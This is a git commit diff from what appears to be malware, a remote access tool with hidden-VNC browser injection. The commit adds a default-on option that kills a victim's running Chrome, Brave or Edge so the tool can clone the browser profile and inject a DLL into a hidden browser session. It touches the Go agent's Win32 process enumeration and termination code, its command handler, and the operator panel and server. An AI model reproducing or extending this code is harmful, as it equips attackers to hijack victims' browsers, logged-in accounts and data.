kill browser process

This commit is contained in:
KingKDot
2026-03-14 20:11:47 -05:00
parent ecaf281263
commit 2e5d5c75a2
6 changed files with 125 additions and 11 deletions
@@ -14,6 +14,6 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
return errors.New("HVNC injection not supported on this platform") return errors.New("HVNC injection not supported on this platform")
} }
@@ -120,7 +120,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
// If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection. // If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge". // browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
info, ok := browserInfoMap[strings.ToLower(browser)] info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok { if !ok {
return fmt.Errorf("unknown browser %q", browser) return fmt.Errorf("unknown browser %q", browser)
@@ -133,6 +133,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
} }
} }
if killIfRunning && clone {
processName := info.exeName
if processName == "" {
processName = filepath.Base(exePath)
}
if isProcessRunning(processName) {
log.Printf("hvnc %s: killing running %s before cloning", info.name, processName)
killProcess(processName)
time.Sleep(1500 * time.Millisecond)
}
}
if !clone { if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name) log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, "", "") return StartHVNCProcessInjected(exePath, dllBytes, "", "")
@@ -155,11 +167,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
// StartHVNCChromeInjected is kept for backward compatibility. // StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, nil) return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
} }
type browserInfo struct { type browserInfo struct {
name string name string
exeName string
exePaths []string // candidate exe locations (env vars expanded at runtime) exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox) userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA useAppData bool // true = use APPDATA instead of LOCALAPPDATA
@@ -167,21 +180,24 @@ type browserInfo struct {
var browserInfoMap = map[string]browserInfo{ var browserInfoMap = map[string]browserInfo{
"chrome": { "chrome": {
name: "Chrome", name: "Chrome",
exeName: "chrome.exe",
exePaths: []string{ exePaths: []string{
`\Google\Chrome\Application\chrome.exe`, `\Google\Chrome\Application\chrome.exe`,
}, },
userData: `Google\Chrome\User Data`, userData: `Google\Chrome\User Data`,
}, },
"brave": { "brave": {
name: "Brave", name: "Brave",
exeName: "brave.exe",
exePaths: []string{ exePaths: []string{
`\BraveSoftware\Brave-Browser\Application\brave.exe`, `\BraveSoftware\Brave-Browser\Application\brave.exe`,
}, },
userData: `BraveSoftware\Brave-Browser\User Data`, userData: `BraveSoftware\Brave-Browser\User Data`,
}, },
"edge": { "edge": {
name: "Edge", name: "Edge",
exeName: "msedge.exe",
exePaths: []string{ exePaths: []string{
`\Microsoft\Edge\Application\msedge.exe`, `\Microsoft\Edge\Application\msedge.exe`,
}, },
@@ -209,6 +225,92 @@ func findBrowserExe(info browserInfo) string {
return "" return ""
} }
func isProcessRunning(name string) bool {
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
if snapshot == uintptr(^uintptr(0)) {
return false
}
defer procCloseHandle.Call(snapshot)
type processEntry32 struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
var entry processEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return false
}
target := strings.ToLower(name)
for {
exeName := syscall.UTF16ToString(entry.ExeFile[:])
if strings.ToLower(exeName) == target {
return true
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return false
}
func killProcess(name string) {
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
if snapshot == uintptr(^uintptr(0)) {
return
}
defer procCloseHandle.Call(snapshot)
type processEntry32 struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
var entry processEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return
}
target := strings.ToLower(name)
for {
exeName := syscall.UTF16ToString(entry.ExeFile[:])
if strings.ToLower(exeName) == target {
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
if hProc != 0 {
kernel32.NewProc("TerminateProcess").Call(hProc, 0)
procCloseHandle.Call(hProc)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
}
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
}
func getBrowserUserDataDir(info browserInfo) string { func getBrowserUserDataDir(info browserInfo) string {
base := os.Getenv("LOCALAPPDATA") base := os.Getenv("LOCALAPPDATA")
if info.useAppData { if info.useAppData {
@@ -1340,6 +1340,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
exePath := "" exePath := ""
clone := true clone := true
cloneLite := false cloneLite := false
killIfRunning := true
if payload != nil { if payload != nil {
if v, ok := payload["browser"].(string); ok { if v, ok := payload["browser"].(string); ok {
browser = v browser = v
@@ -1353,6 +1354,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["cloneLite"].(bool); ok { if v, ok := payload["cloneLite"].(bool); ok {
cloneLite = v cloneLite = v
} }
if v, ok := payload["killIfRunning"].(bool); ok {
killIfRunning = v
}
} }
dllBytes := extractDLLBytes(payload) dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 { if len(dllBytes) == 0 {
@@ -1363,7 +1367,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified") sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil return nil
} }
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes)) log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() { goSafe("hvnc_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc var onProgress capture.CloneProgressFunc
@@ -1379,7 +1383,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}) })
} }
} }
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil { if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err) log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
} }
}) })
+6 -3
View File
@@ -801,15 +801,18 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
} else if (action === "start-chrome") { } else if (action === "start-chrome") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false; const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite }); const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
} else if (action === "start-brave") { } else if (action === "start-brave") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false; const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite }); const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
} else if (action === "start-edge") { } else if (action === "start-edge") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false; const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite }); const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
} else if (action === "start-custom") { } else if (action === "start-custom") {
const exePath = prompt("Enter exe path (required)"); const exePath = prompt("Enter exe path (required)");
if (!exePath) { if (!exePath) {
+4
View File
@@ -171,6 +171,10 @@
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" /> <input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Lite clone (no extensions)</span> <span class="text-xs text-slate-300">Lite clone (no extensions)</span>
</label> </label>
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncKillIfRunningToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill browser if running</span>
</label>
<button <button
type="button" type="button"
class="w-full text-left px-3 py-2 hover:bg-slate-800/70" class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
@@ -675,6 +675,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
path: String(payload.path || ""), path: String(payload.path || ""),
clone: payload.clone !== false, clone: payload.clone !== false,
cloneLite: payload.cloneLite === true, cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning !== false,
dll: dllData, dll: dllData,
}); });
break; break;